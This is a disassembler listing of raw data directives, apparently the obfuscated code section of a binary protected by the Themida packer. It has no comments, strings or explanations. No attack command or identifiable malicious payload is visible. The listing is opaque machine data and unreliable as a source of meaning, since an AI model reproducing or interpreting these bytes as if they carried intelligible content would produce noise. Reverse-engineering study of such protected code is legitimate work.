		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 21BD8BC0h
		dd 3107D32Fh, 0D3175995h, 11BD8307h, 307D333h, 432850Fh
		dd 83F90000h, 0DC4EC2BDh, 840F0007h, 424h, 2FCDB589h, 0B58907D3h
		dd 7D3193Dh, 4EC2B5FFh,	6A07DCh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0F2F870C3h, 898FFD2Dh
		dd 0D305E9BDh, 0F995FF07h, 6A07D325h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 9C2FC351h
		dd 81D88B2Fh, 0AC6F1FE7h, 0B6B58B27h, 8B07DC4Eh, 0D31A11BDh
		dd 6830F07h, 8B000000h,	0D31B7DBDh, 106C707h, 6A000100h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E9CDC355h, 9, 3423CF17h,	0B679776Bh, 0FE8505Bh
		dd 0C5000000h, 90B95100h, 0B2F4022Ah, 3758B9C9h, 895B3ED7h
		dd 0DB812434h, 15EA92C8h, 4EC2B5FFh, 6A07DCh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 2A15F0C3h
		dd 0BE8h, 2EC42000h, 170830E4h,	65A23353h, 215BD89h, 0FF5F07D3h
		dd 0D3159195h, 0DFBF0F07h, 4EB6B58Bh, 800F07DCh, 3, 8BDA8B66h
		dd 0D3031185h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 2B911B7Fh, 0BD9D33F5h
		dd 0F07D31Ah, 684h, 0D852900h, 8907D30Dh, 0C486h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F527E025h, 2F65B589h, 958B07D3h, 7D32941h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 31C35141h, 9A29E047h
		dd 0AFC95086h, 8B04C283h, 0D32655BDh, 20508907h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 57C35545h, 1525DF5Fh
		dd 0F9614A0Dh, 68C0Fh, 9D890000h, 7D301A5h, 6181858Dh
		dd 6A07DCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 106856C3h, 0BDBBD1F0h, 0D9BF0F04h, 0B88689h
		dd 0BD0B0000h, 7D33189h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0B757A4C3h, 0FFF5302Dh
		dd 0DC4EC2B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8B47AC11h, 9D0160DFh
		dd 7D32505h, 0FF61D98Bh, 0D3159995h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 833F7FDCh
		dd 6269B089h, 8E0F8Bh, 96000000h, 26BB6650h, 8D8996A6h
		dd 7D30011h, 4EC2B5FFh,	6A07DCh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0FB8BB0C3h, 302595FFh
		dd 0BD8B07D3h, 7D32FA5h, 16E9BD83h, 0F0007D3h, 3D84h, 880F00h
		dd 50000000h, 51B86660h, 34896116h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0DC3BC8Fh
		dd 8D294298h, 7D31951h,	34699D0Bh, 0B5FF07D3h, 7DC4EC2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8AC35242h
		dd 1D4676F3h, 95FFC223h, 7D31215h, 23B19D2Bh, 0B5FF07D3h
		dd 7DC4EC2h, 6E8B3B3h, 51000000h, 1A844568h
		dd 0B18531A4h, 5B07D308h, 324D95FFh, 6A07D3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 8E15ECC3h
		dd 1341BD83h, 0F0207D3h, 3F84h,	59D2300h, 8B07D30Dh, 0D3347D85h
		dd 95896007h, 7D32F85h,	0C661h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 1BC35545h, 8CB136FCh, 9953A533h
		dd 0E703BF66h, 65185C7h, 7D3h, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 9E70B9C3h
		dd 0E8AAAE25h, 7, 0A3D4CD55h, 60BB4559h, 5B615957h, 0FFF42BE9h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8B1ECCB5h, 0D31389BDh, 8BC18B07h, 0D31C91BDh
		dd 71858D07h, 6A07D31Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 9C2BC350h, 66A2EB8Bh
		dd 8B48B0BFh, 0D320D19Dh, 9E85007h, 5D000000h, 4784D022h
		dd 0C9373A1Dh, 895F50B3h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0A89B52C3h, 7BE7F0D6h
		dd 9E8h, 0F1592700h, 0D83A3B6h,	8960DAD8h, 0D3034185h
		dd 86D68007h, 8D895B61h, 7D31269h, 0B70F006Ah, 6AF8FBh
		dd 43E38166h, 7DBD8BF4h, 8D07D324h, 0DD8CCD85h,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0E04B4B64h, 0FE931CDh, 49000000h, 5B4D1D40h,	78E75754h
		dd 70913EB1h, 0C0839426h, 518D8905h, 5007D329h,	66240489h
		dd 3327CB81h, 0BB66006Ah, 8B66E084h, 6A006AD9h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0DD6C352h, 0A048B20Dh, 62F0ABB8h, 2F4D95FFh,	8C0F07D3h
		dd 0
aNnS		db ')',7,'',9,0
		db 2 dup(0), 0FFh
		dd 3A827294h, 17EDC206h, 9107BB66h, 89D1FF5Fh, 0D314C9B5h
		dd 55BD8307h, 107D332h,	70850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E9F14AC3h
		dd 6, 0B2298879h, 816641ECh, 6AE141E7h,	0D1BD0302h, 5007D30Ah
		dd 0D88B5250h, 0F57310Fh, 8Fh, 585A5F00h, 81240489h, 48488BEBh
		dd 10E94Bh, 5D590000h, 0CFF529C5h, 979CF791h, 31CB4BE4h
		dd 95FFD3DEh, 7D31599h,	86BAF381h, 6DE93F07h, 0E800000Dh
		dd 0
aBaMIaJ		db ']׌',7,'',1Bh,'',7,'j',0
		db 52h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 1870F48h, 0F9000000h, 5FD98B56h, 195C858Dh, 6A07DCh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 3B728FC3h, 15AA6C17h, 9050905Ch, 66BF66h, 35FF64h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0E003C352h, 0D75094D5h, 2DB4FC61h, 4890Fh
		dd 56510000h, 89645F5Bh, 25h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 522257E9h
		dd 0E72695BDh, 0E967F780h, 6, 0E69D18F0h, 0B5894C34h, 7D33331h
		dd 2CCD85FFh, 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 401CB3C3h, 0F824576h, 0FF6AF9BFh
		dd 7E5BD89h, 0B5FF07D3h, 7D32961h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0D5C35141h,	0CD9E0871h, 0DE98Fh
		dd 82680000h, 2EEE8888h, 8774C66Eh, 967F792h, 0D3062995h
		dd 1995FF07h, 0E907D318h, 0FEh,	2EA9BD31h, 0B007D3h, 6880Fh
		dd 95090000h, 7D3008Dh,	0E4F870E6h, 0F8B70F71h,	830F613Ch
		dd 0DAh, 58C0Fh, 81660000h, 0FA320EBh, 810FC8B6h, 1, 6BAF9h
		dd 0B5890000h, 7D33195h, 9D89C18Bh, 7D32A59h, 0C1FEB70Fh
		dd 8B6604E8h, 0E2F766FEh, 14E950h, 84980000h, 453BF84Fh
		dd 20D75935h, 4580902Fh, 16A482Ch, 8B5BD4FCh, 0D3323D9Dh
		dd 66C82B07h, 8BFFA9BBh, 0D260BFD1h, 73E913BEh,	0F5000000h
		dd 4C50858Bh, 0EB814755h, 0AE504E6h, 6607C083h,	0EB1FE781h
		dd 6600C083h, 3BA971BBh, 17830FD0h, 0F000000h, 688h, 95BD8B00h
		dd 0E907D331h, 3Eh, 2A5DBD33h, 8D8B07D3h, 0FFFFFFFFh, 30CDBD8Bh
		dd 0E18307D3h, 23840F01h, 2B000000h, 0D30845BDh, 5CEB8107h
		dd 83378EF7h, 0FFFFFFA5h, 9589FEFFh, 47554C50h,	1EF3A7BBh
		dd 0E96Ch, 0B58D0000h, 7DD0A05h, 0FE9h,	0EA890D00h, 3F8A8A07h
		dd 705A73E4h, 195DC509h, 9E8006Ah, 59000000h, 0DD38F480h
		dd 1DE6FBFh, 0EE9h, 83CA1900h, 271DE2AAh, 1354B788h, 5F7D49A1h
		dd 301995FFh, 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 7D2FC3C3h, 50B9CB77h, 0F000011h
		dd 0E183DBB7h, 898D89FCh, 0FC07D32Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 9DC35040h, 78947DFAh, 1AEDBD29h
		dd 0B807D3h, 89000000h,	0D30C1DBDh, 6AD22B07h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 262AC353h, 79C3BBCEh, 33AD1064h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 9A8A77C3h, 31499D8Bh, 0BD8B07D3h,	7D31FF5h
		dd 0BE9h, 55A4DA00h, 3A98551Fh,	0FADD264h, 880Dh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 6E1C211Eh, 1D1370E4h, 6761BF2Eh, 958B6FC2h, 7D32941h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 6CC35040h
		dd 0FAF38166h, 0A18D8B22h, 0E907D32Bh, 0Eh, 0B1A62934h
		dd 0E0D0DE1Ch, 383C77D8h, 8B501CD5h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	58E0Fh,	81660000h, 6A09ABC3h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0CB86C355h, 2C9C3E22h, 93DA7FD1h, 891BD83h, 0F0007D3h
		dd 1F84h, 51958900h, 0B807D32Ah, 0
		dd 0B18D8DFCh, 0F07D34Dh, 0FA8BDFBFh, 0BD0BE1FFh, 7D30DB5h
		dd 3311BD83h, 0F0007D3h, 40484h, 11BD8300h, 107D333h, 412840Fh
		dd 4EB30000h, 3311BD83h, 0F0307D3h, 3CD86h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0A672B00Ch, 3EE6A774h, 0F60F578h, 68Dh, 75C38100h, 662485DDh
		dd 6053D98Ch, 8A30E381h, 0CA81642Ch, 3F5A1467h,	0E1805B61h
		dd 8D9D8B04h, 0B307D309h, 0FC90A5Bh, 16084h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 459D8B92h, 8B07D314h, 0D314C185h, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8940B02Ah
		dd 0D333CD9Dh, 8D8B6007h, 7D30199h, 34718589h, 336107D3h
		dd 0D31FF185h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0B889FBDEh, 60507CCAh
		dd 0CE95250h, 0E5000000h, 0D4E4C2C7h, 6BB16FB8h, 0FF99F72h
		dd 8D0F31h, 5A000000h, 10E958h,	0DA4C0000h, 5237EDE2h
		dd 0A0C4A2A0h, 40D9B2E4h, 8961F88Dh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 301A78C3h
		dd 8DAD982Eh, 0B70F006Ah, 9A168D9h, 0E860F434h,	0Bh, 5DCF7112h
		dd 5929112Bh, 0E93A6A93h, 9, 0D22A40C0h, 6B108923h, 8B515A23h
		dd 81615BFBh, 0FA5E2404h, 0BD8B0BEAh, 7D31291h,	198195FFh
		dd 0FA8B07D3h, 4EC28589h, 6A07DCh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0BBC2FCC3h, 0E9F235F4h
		dd 0Ah,	0DBED9E28h, 7EED3E5h, 0BD33914Eh, 7D30615h, 162E9h
		dd 0BA858B00h, 6A07DC4Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 622BC357h, 9D46F645h
		dd 0C78FE7F4h, 1800h, 9E900h, 0F6E30000h, 0B73A9D84h, 8BB26D96h
		dd 0DC4EBEB5h, 0D9850107h, 8B07D326h, 0D316FD85h, 499D8B07h
		dd 8907D32Ah, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 74EEAE61h, 5416AAEFh, 14C1858Bh
		dd 953107D3h, 7D326E9h,	33044689h, 0D32F559Dh, 34895007h
		dd 8F0FF924h, 0Ch, 6890Fh, 9D010000h, 7D31595h,	4EBAB5FFh
		dd 0DA8A07DCh, 4E8h, 1F03FF00h,	50C3B700h, 50605250h, 5A310F52h
		dd 61F58A58h, 0E960310Fh, 0Ch, 0A5158DB7h, 2462D885h, 0F0421122h
		dd 0BF96BE66h, 8B585A61h, 8B042444h, 66525000h,	0FC2D8BFh
		dd 0F525031h, 5A585A31h, 24448958h, 7E904h, 0BD660000h
		dd 43D987C1h, 6A58ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F2290C3h, 684h,	6EDF8100h, 661C59A4h
		dd 858DDE8Bh, 7DC4EC2h,	27219D29h, 0BB5007D3h, 4980A454h
		dd 8A240489h, 8195FFD8h, 0F07D319h, 0A8Eh, 0B70F6000h
		dd 0C18166CEh, 6161B965h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 87C35747h, 5EF87C1Eh,	0D88B5C86h, 331185C7h
		dd 307D3h, 0BD8B0000h, 7D301F1h, 4EC2BD83h, 0F0007DCh
		dd 7184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 22BB1079h, 5CE6B5CEh, 0E86069ADh
		dd 0Ch,	0DBC43B49h, 0FD985EF2h,	0A3C06D0Ch, 5EA9D680h
		dd 614AE380h, 48E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0C5188872h, 8E9A6h, 0F2740000h
		dd 41A19B51h, 30505CF2h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0A10BF953h, 7E8h, 87BF8500h
		dd 0FD6642F7h, 335DBD8Bh, 0E85F07D3h, 11h, 0B6E2EDAFh
		dd 0E0B7B45Eh, 10DC31B9h, 26883064h, 0E751BFBCh, 8B5F2B8Fh
		dd 0D30011BDh, 11BD8307h, 307D333h, 445850Fh, 0AE90000h
		dd 0E4000000h, 0A88EC7D1h, 1492D253h, 0C2BD8355h, 7DC4Eh
		dd 429840Fh, 9D890000h,	7D309F9h, 4EC2B5FFh, 816607DCh
		dd 0FFC61FD3h, 0D325F995h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 6049BA29h
		dd 27BAA708h, 10E86Fh, 89250000h, 2CEA8CB2h, 88E52EA7h
		dd 0CF176445h, 0DE83423h, 0D1000000h, 978FDAD3h, 0E0623C61h
		dd 0BD284ABAh, 0DCF38166h, 8B5F5F8Ch, 0DC4EB6B5h, 0FDBD0307h
		dd 0C707D30Eh, 1000106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0A58A98C5h, 66E5C804h
		dd 0E85032BFh, 6, 0CF781E5h, 0BD8B256Fh, 7D3206Dh, 8B66965Fh
		dd 525050DFh, 0AE953h, 31D90000h, 10A357Ch, 9D9D799Ch
		dd 5A310F5Fh, 6A9658h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8B995EC3h, 0D300ADBDh, 0C2B5FF07h
		dd 8107DC4Eh, 0C7002FDBh, 9195FF72h, 0E807D315h, 7, 9E9C7087h
		dd 291B97B9h, 0D30A8D85h, 9D8B5F07h, 7D31871h, 4EB6B58Bh
		dd 816607DCh, 1497ADFh,	0D3210595h, 11858B07h, 6A07D303h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 7BAEC350h, 93204B0Bh, 68D0F03h, 8B000000h
		dd 0D32E61BDh, 0C4868907h, 8B000000h, 0D32A1D9Dh, 41958B07h
		dd 6A07D329h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 66A0C350h, 0FEC6DF81h,	7E8h, 8A236500h
		dd 18BB76DEh, 151DBD8Bh, 835F07D3h, 6A04C2h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4972E5C3h
		dd 70DF84A8h, 9F19D0Bh,	508907D3h, 50006A20h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 3404C1E8h
		dd 0F98AF41Ah, 68E4BF7Ch, 858D2831h, 7DC6181h, 3149BD01h
		dd 868907D3h, 0B8h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 1FC35747h, 6099D50Fh,	9DE18166h, 0FBB70F82h
		dd 6A006A61h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 41F9C355h, 0D88B7F1Ah,	9688BB66h
		dd 5E9h, 681F3200h, 0B5FF7513h,	7DC4EC2h, 891147BBh, 9995FF3Eh
		dd 6A07D315h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 2D02C357h, 82E6038Dh, 8D89D626h
		dd 7D33065h, 14419D09h,	669607D3h, 509630BBh, 57006A96h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0F7B22B6h, 0F9BD8BF1h, 0FF07D305h, 0DC4EC2B5h, 0E810F07h
		dd 60000000h, 890Fh, 8D030000h,	7D31A25h, 2595FF61h, 0FC07D330h
		dd 16E9BD83h, 0F0007D3h, 5084h,	0F1BF5300h, 5B17930Dh
		dd 1C810F50h, 50000000h, 0AE852h, 0B0090000h, 0C5AA3CE9h
		dd 0CF24D5B0h
		dd 50310F5Fh, 5A310F52h, 89585A58h, 6A2434h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 899CB3C3h
		dd 0D3247D9Dh, 0C2B5FF07h, 6A07DC4Eh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 66FFC350h
		dd 0FFAAA0BBh, 0D3121595h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0A7ACF1CFh
		dd 0EF4114AEh, 9D89BA31h, 7D30C1Dh, 4EC2B5FFh, 6A07DCh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FF50CDC3h, 0D3324D95h, 3810F07h, 66000000h,	0BD83DE8Bh
		dd 7D31341h, 25840F02h,	89000000h, 0D32F1D9Dh, 7D858B07h
		dd 0F07D334h, 0A87h, 5E900h, 9F320000h,	0C6BA66B9h, 8D890000h
		dd 7D31A11h, 65185C7h, 7D3h, 8F0F0000h,	6, 0B75BD8Bh, 0E9F807D3h
		dd 0FFFFF3CEh, 2F41B589h, 0BF6607D3h, 0C18BF9CDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3EC35545h, 7C064C87h
		dd 66BFF180h, 38D8E781h, 1C71858Dh, 953107D3h, 7D3337Dh
		dd 0DE8B6650h, 60240489h, 2CAD8D89h, 858907D3h,	7D30DC1h
		dd 6A006A61h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0F573C356h, 7F17D451h,	34D38166h
		dd 0A9BD8B7Bh, 6A07D31Ah, 6E900h, 0E4ED0000h, 0FD85F8E9h
		dd 9C27858Dh, 0BD8B07DDh, 7D326ADh, 6A05C083h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 79B9C357h, 0A4920250h, 7195890Dh, 9007D31Dh,	5E526060h
		dd 801611BEh, 8F0F6138h, 3, 61CE8B66h, 0AE850h,	0EE660000h
		dd 0BDA29BFCh, 0B257DA5h, 0FE85250h, 0C2000000h, 624E4659h
		dd 74D8878Ah, 28F364A1h, 0F5FE3CCh, 0CE931h, 54DD0000h
		dd 342F44A1h, 785ED287h, 585A286Eh, 0BD8B905Bh,	7D30E59h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 69AD5CC3h, 0BD8B8B45h, 7D31F71h, 259D9529h
		dd 0E9B707D3h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 4C8E83C3h, 95FFFCFFh, 7D32F4Dh
		dd 2459BD8Bh, 8D8D07D3h, 7DC29B0h, 8589FCB3h, 7D301CDh
		dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B28B85C3h, 0BD8B3886h, 7D300E5h,	3255BD83h
		dd 0F0107D3h, 5B85h, 51858900h,	6A07D32Ah, 59958902h, 9007D315h
		dd 11E9h, 0E8925E00h, 0CCB0665Fh, 5DE26A0Bh, 6EB1C880h
		dd 90500327h, 14E9h, 0D8A3C500h, 73A36620h, 36B68AEBh
		dd 79C8D8BBh, 445FD6F1h, 9995FF5Dh, 0E807D315h,	0Ah, 2FC6EBDFh
		dd 0D3862FA6h, 0A1BBD581h, 5F71861Fh, 0D71E9h, 0E800h
		dd 815D0000h, 0DD9C31EDh, 0E9952907h, 0E807D320h
		db 12h
byte_6732E9	db 3 dup(0)		; DATA XREF: Themida_:0062CE24o
		dd 0C6594270h, 0ACD5487Dh, 0D613734Bh, 0C979B0F9h, 8B6612F6h
		dd 0BD895BD9h, 7D30C75h, 195C858Dh, 6A07DCh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0F27677C3h
		dd 2BD5BD8Bh, 0E95007D3h, 8, 1A358CD3h,	16DD598Bh, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 62C5C350h, 81ADFE0Fh, 0D451D5EBh,	35FF640Bh
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C4C35747h
		dd 823B5FD3h, 899BDEE9h, 0D331359Dh, 5BD2907h, 6407D332h
		dd 2589h, 0BE600000h, 720D3BE8h, 231CEF81h, 0FF616937h
		dd 0D32CCD85h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0FA464DF6h, 6A660BC8h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 4D811B8Fh, 0C6BF3E17h, 0FFCBB78Bh, 0D32109B5h
		dd 6E807h, 6BCA0000h, 45B474BDh, 0CFFFC781h, 0FF5F7312h
		dd 0D3181995h, 11AE907h, 0BD090000h, 7D303B5h, 9D8B00B0h
		dd 7D32D95h, 7E9h, 418EDE00h, 85CB2FA1h, 66F970E6h, 71E4DF8Bh
		dd 0F07ABB66h, 830F613Ch, 0ECh,	0BE9h, 0F5FCB000h, 0C8A86DC4h
		dd 22F4F229h, 29C8B60Fh, 0D3301D8Dh, 6BA07h, 0BD310000h
		dd 7D329C9h, 0FE9C18Bh,	0A7000000h, 829B1C5Ch, 9C947189h
		dd 0B41BB482h, 0E8C15B32h, 0D8B70F04h, 81E2F766h, 0DFE69D3h
		dd 0F59D8B63h, 2B07D301h, 8B6AB7C8h, 0C890FD1h,	0E9000000h
		dd 7, 16274B60h, 0E9587A4Fh, 80h, 3005BD8Bh, 858B07D3h
		dd 44004E49h, 14EDB501h, 0C08307D3h, 0B58D8907h, 8307D30Eh
		dd 5B5600C0h, 830FD03Bh, 20h, 7DE78166h, 4EE97Dh, 10E80000h
		dd 3E000000h, 241329FBh, 0CBC587BDh, 0B6272BDBh, 5F58B449h
		dd 0FFFF8D8Bh, 0BD8BFFFFh, 7D30F45h, 0F01E183h,	2384h
		dd 49B58900h, 8307D30Eh, 0FFFFFFA5h, 8166FEFFh,	89BD52D3h
		dd 4E4995h, 71858944h, 0E907D330h, 0
aNUJ		db 'U',1Bh,'',7,'j',0
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E8C56EC3h, 0Fh, 2EB20379h, 8496AC0Ah, 0D5A6953Dh, 296A967Ah
		dd 0D3120585h, 9D8B5F07h, 7D30C6Dh, 870F006Ah, 8, 45BD8B53h
		dd 5B07D31Bh, 301995FFh, 8D0107D3h, 7D31975h, 1078B9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 99AED277h, 60EBF973h, 29D1BD89h,	8E0F07D3h
		dd 2, 8361F38Bh, 6AFCE1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0C3322CC3h, 0D5CC7AEBh
		dd 0BE858h, 0F8BB0000h,	51300317h, 8900CD49h, 0E3815B07h
		dd 16BF4301h, 8890FFCh,	60000000h, 6675E580h, 0B861C38Bh
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 48C35747h
		dd 8B30FCFDh, 6AD22BFBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E945C357h,	0Ah, 7871A5F9h
		dd 4BC5078Bh, 33AD168Ah, 3E8D1C2h, 4E983D0h, 9D89F475h
		dd 7D33491h, 1C1D8D89h,	6A07D3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0AA3A1EC3h, 0D8E139B3h
		dd 5E9BEh, 0ED8F0000h, 0D6A82C2h, 88h, 0B59D89h, 958B07D3h
		dd 7D32941h, 93E78166h,	0A18D8BA0h, 6A07D32Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 36C353h, 95852960h, 6007D326h, 2B49B58Bh, 0B86607D3h
		dd 6161480Dh, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 6A9343C3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0C359C355h,	91BD83F8h
		dd 7D308h, 5D840Fh, 0DB800000h,	0B881h,	0D7810000h, 4C661AA5h
		dd 4DB18D8Dh, 6A07D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 6BEF5BC3h, 24B385A0h, 0B70F6056h
		dd 2D9529F2h, 6107D330h, 7595895Bh, 0FF07D31Bh,	296060E1h
		dd 0D303858Dh, 0DF816607h, 6661722Ah, 8361C38Bh, 0D33311BDh
		dd 840F0007h, 39Eh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0F3C35646h, 3311BD83h, 0F0107D3h, 39084h
		dd 11BD8300h, 307D333h,	34D860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0ECDA1EC3h
		dd 5D9D8BA9h, 6007D300h, 5810Fh, 1BB0000h, 661F1D53h, 62B7D98Ch
		dd 6A04E180h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0CCB9C351h, 1D2278A2h,	4B09DEE7h
		dd 840FC90Ah, 0FBh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 1FC35242h, 0F3812E74h, 7F5D53F9h, 14C1858Bh
		dd 0BD8B07D3h, 7D32705h, 1FF18533h, 958907D3h, 7D31AD5h
		dd 89AEB750h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BD8902C3h, 7D32FE1h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
